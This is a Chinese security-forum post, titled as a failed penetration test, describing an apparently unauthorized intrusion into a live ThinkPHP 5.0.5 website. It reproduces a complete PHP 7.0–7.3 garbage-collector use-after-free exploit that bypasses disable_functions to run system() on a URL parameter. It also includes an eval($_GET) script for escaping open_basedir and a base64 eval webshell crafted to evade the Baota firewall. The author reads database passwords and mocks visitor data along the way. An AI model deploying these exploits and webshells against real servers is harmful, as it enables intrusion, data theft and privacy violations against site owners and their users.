安全矩阵

 找回密码
 立即注册
搜索
查看: 5067|回复: 0

记一次失败的渗透测试

[复制链接]

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
发表于 2020-7-10 11:44:54 | 显示全部楼层 |阅读模式
0锁定目标初步尝试

在一次渗透测试做信息收集时,发现网站是ThinkPHPV5.0.5,通过泄露信息得到网站真实IP。


直接使用RCE漏洞,成功执行phpinfo。



1
初探绕过disable_functions

准备直接执行命令,弹shell,发现函数被禁用:

看了下disable_functions禁用了以下函数:

拿到shell再说,首先在日志中先写入一句话,然后利用文件包含去包含日志执行代码,大概思路就是这样,先利用报错把一句话写入日志:

因为日志会不断刷新,因此这里需要包含日志重新写入一句话:

成功拿到shell:

经过查找资料,多次尝试以后发现可以通过PHP 7.0 < 7.3 (Unix) - ‘gc’ Disable Functions Bypass。
代码脚本:
  1. <?php

  2. # PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
  3. #
  4. # Bug:https://bugs.php.net/bug.php?id=72530
  5. #
  6. # This exploit should work on all PHP 7.0-7.3 versions
  7. # released as of 04/10/2019, specifically:
  8. #
  9. # PHP 7.0 - 7.0.33
  10. # PHP 7.1 - 7.1.31
  11. # PHP 7.2 - 7.2.23
  12. # PHP 7.3 - 7.3.10
  13. #
  14. # Author: https://github.com/mm0r1

  15. pwn($_GET[123]);


  16. function pwn($cmd) {
  17.     global $abc, $helper;

  18.     function str2ptr(&$str, $p = 0, $s = 8) {
  19.         $address = 0;
  20.         for($j = $s-1; $j >=0; $j--) {
  21.             $address <<= 8;
  22.             $address |= ord($str[$p+$j]);
  23.         }
  24.         return $address;
  25.     }

  26.     function ptr2str($ptr, $m = 8) {
  27.         $out = "";
  28.         for ($i=0; $i < $m; $i++) {
  29.             $out .= chr($ptr & 0xff);
  30.             $ptr >>= 8;
  31.         }
  32.         return $out;
  33.     }

  34.     function write(&$str, $p, $v, $n = 8) {
  35.         $i = 0;
  36.         for($i = 0; $i < $n; $i++) {
  37.             $str[$p + $i] = chr($v & 0xff);
  38.             $v >>= 8;
  39.         }
  40.     }

  41.     function leak($addr, $p = 0, $s = 8) {
  42.         global $abc, $helper;
  43.         write($abc, 0x68, $addr + $p - 0x10);
  44.         $leak = strlen($helper->a);
  45.         if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
  46.         return $leak;
  47.     }

  48.     function parse_elf($base) {
  49.         $e_type = leak($base, 0x10, 2);

  50.         $e_phoff = leak($base, 0x20);
  51.         $e_phentsize = leak($base, 0x36, 2);
  52.         $e_phnum = leak($base, 0x38, 2);

  53.         for($i = 0; $i < $e_phnum; $i++) {
  54.             $header = $base + $e_phoff + $i * $e_phentsize;
  55.             $p_type  = leak($header, 0, 4);
  56.             $p_flags = leak($header, 4, 4);
  57.             $p_vaddr = leak($header, 0x10);
  58.             $p_memsz = leak($header, 0x28);

  59.             if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
  60.                 # handle pie
  61.                 $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
  62.                 $data_size = $p_memsz;
  63.             } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
  64.                 $text_size = $p_memsz;
  65.             }
  66.         }

  67.         if(!$data_addr || !$text_size || !$data_size)
  68.             return false;

  69.         return [$data_addr, $text_size, $data_size];
  70.     }

  71.     function get_basic_funcs($base, $elf) {
  72.         list($data_addr, $text_size, $data_size) = $elf;
  73.         for($i = 0; $i < $data_size / 8; $i++) {
  74.             $leak = leak($data_addr, $i * 8);
  75.             if($leak - $base > 0 && $leak - $base < $text_size) {
  76.                 $deref = leak($leak);
  77.                 # 'constant' constant check
  78.                 if($deref != 0x746e6174736e6f63)
  79.                     continue;
  80.             } else continue;

  81.             $leak = leak($data_addr, ($i + 4) * 8);
  82.             if($leak - $base > 0 && $leak - $base < $text_size) {
  83.                 $deref = leak($leak);
  84.                 # 'bin2hex' constant check
  85.                 if($deref != 0x786568326e6962)
  86.                     continue;
  87.             } else continue;

  88.             return $data_addr + $i * 8;
  89.         }
  90.     }

  91.     function get_binary_base($binary_leak) {
  92.         $base = 0;
  93.         $start = $binary_leak & 0xfffffffffffff000;
  94.         for($i = 0; $i < 0x1000; $i++) {
  95.             $addr = $start - 0x1000 * $i;
  96.             $leak = leak($addr, 0, 7);
  97.             if($leak == 0x10102464c457f) { # ELF header
  98.                 return $addr;
  99.             }
  100.         }
  101.     }

  102.     function get_system($basic_funcs) {
  103.         $addr = $basic_funcs;
  104.         do {
  105.             $f_entry = leak($addr);
  106.             $f_name = leak($f_entry, 0, 6);

  107.             if($f_name == 0x6d6574737973) { # system
  108.                 return leak($addr + 8);
  109.             }
  110.             $addr += 0x20;
  111.         } while($f_entry != 0);
  112.         return false;
  113.     }

  114.     class ryat {
  115.         var $ryat;
  116.         var $chtg;
  117.         
  118.         function __destruct()
  119. {
  120.             $this->chtg = $this->ryat;
  121.             $this->ryat = 1;
  122.         }
  123.     }

  124.     class Helper {
  125.         public $a, $b, $c, $d;
  126.     }

  127.     if(stristr(PHP_OS, 'WIN')) {
  128.         die('This PoC is for *nix systems only.');
  129.     }

  130.     $n_alloc = 10; # increase this value if you get segfaults

  131.     $contiguous = [];
  132.     for($i = 0; $i < $n_alloc; $i++)
  133.         $contiguous[] = str_repeat('A', 79);

  134.     $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
  135.     $out = unserialize($poc);
  136.     gc_collect_cycles();

  137.     $v = [];
  138.     $v[0] = ptr2str(0, 79);
  139.     unset($v);
  140.     $abc = $out[2][0];

  141.     $helper = new Helper;
  142.     $helper->b = function ($x) { };

  143.     if(strlen($abc) == 79) {
  144.         die("UAF failed");
  145.     }

  146.     # leaks
  147.     $closure_handlers = str2ptr($abc, 0);
  148.     $php_heap = str2ptr($abc, 0x58);
  149.     $abc_addr = $php_heap - 0xc8;

  150.     # fake value
  151.     write($abc, 0x60, 2);
  152.     write($abc, 0x70, 6);

  153.     # fake reference
  154.     write($abc, 0x10, $abc_addr + 0x60);
  155.     write($abc, 0x18, 0xa);

  156.     $closure_obj = str2ptr($abc, 0x20);

  157.     $binary_leak = leak($closure_handlers, 8);
  158.     if(!($base = get_binary_base($binary_leak))) {
  159.         die("Couldn't determine binary base address");
  160.     }

  161.     if(!($elf = parse_elf($base))) {
  162.         die("Couldn't parse ELF header");
  163.     }

  164.     if(!($basic_funcs = get_basic_funcs($base, $elf))) {
  165.         die("Couldn't get basic_functions address");
  166.     }

  167.     if(!($zif_system = get_system($basic_funcs))) {
  168.         die("Couldn't get zif_system address");
  169.     }

  170.     # fake closure object
  171.     $fake_obj_offset = 0xd0;
  172.     for($i = 0; $i < 0x110; $i += 8) {
  173.         write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
  174.     }

  175.     # pwn
  176.     write($abc, 0x20, $abc_addr + $fake_obj_offset);
  177.     write($abc, 0xd0 + 0x38, 1, 4); # internal func type
  178.     write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

  179.     ($helper->b)($cmd);

  180.     exit();
  181. }
复制代码
上传代码脚本到目标服务器上,成功执行set。



2深入绕过open_basedir:

发现目标不能访问根目录,查看一下phpinfo发现open_basedir函数限制了访问目录:

使用代码:
  1. <?php
  2. echo 'open_basedir: '.ini_get('open_basedir').'<br>';
  3. echo 'GET: '.$_GET['c'].'<br>';
  4. eval($_GET['c']);
  5. echo 'open_basedir: '.ini_get('open_basedir');
  6. ?>
复制代码
成功突破目录限制:

通过敏感信息收集读取到日志文件,发现目标存在phpmyadmin:

得到目录phpmyadmin路径后判断出目标使用了宝塔,宝塔一般默认把phpmyadmin搭建在888端口上面:

找到数据库密码,登录之:

80多万访问IP这网站有点逆天,播放次数那么多的那位老哥,注意身体啊,由于MySQL权限不够,于是不考虑继续利用MySQL:



3再探绕过宝塔防火墙:

由于某些原因,渗透搁置了一段时间,再次来看的时候发现马被删除了,重新拿shell的时候发现对方开了宝塔的防火墙。

怎么办,不能怂,继续怼它,对宝塔返回信息判断,应该是只对传入的参数做了判断,判断是否有敏感函数,并没有对文件内容做验证,修改了下exp,在次成功写入shell:

访问:http://XXXXX/12345678.php就会在根目录下生成2222222.php文件
2222222.php的文件内容:
  1. //把参数以base64形式传入,然后解嘛,这样就能绕过宝塔对参数的检测
  2. <?php eval(base64_decode($_GET[1337])); ?>
复制代码
代码执行成功:

看了下时间,半夜2点了,睡觉了,第二天还要上班,于是关掉了电脑,下班后,继续打开网站,发现网站漏洞不能利用了,一下子开始发慌了:

冷静一下,想其他办法,一般这样的网站都不止一个ip,扫一下c段看看有没有收获,最终发现隔壁ip(xxx.xxx.xxx.42)和目标(xxx.xxx.xxx.43)一模一样,此ip开启了dubug可以存在漏洞,于是直接搞:

查看一下以root用户运行的进程发现MySQL是root权限运行:

通过查看mysqld_safe 的配置文件(/etc/my.cnf)发现root用户密码:

尝试了UDF提权,root用户登录phpmyadmin,看下MySQL版本5.6.47-log。

在看下/www/server/mysql/lib/plugin目录权限,不可写,放弃udf提权:

打算劫持来提权的,但是发现www用户是nologin用户,不存在自己的家目录,也没有.bash_profile这个文件,所以劫持不了命令了。

可惜了,最终尝试了多种提权方法都失败了,但在整个渗透的过程中,还是有比较多值得回味的过程,因此写下了这篇文章,希望能给大家更多的启发。
本文知识点:
1.通过thinkphp5.0*代码执行漏洞包含日志文件拿shell。
2.绕过disable_functions禁用函数。
3.绕过open_basedir目录限制。
4.绕过宝塔防火墙。



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 01:50 , Processed in 0.013366 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表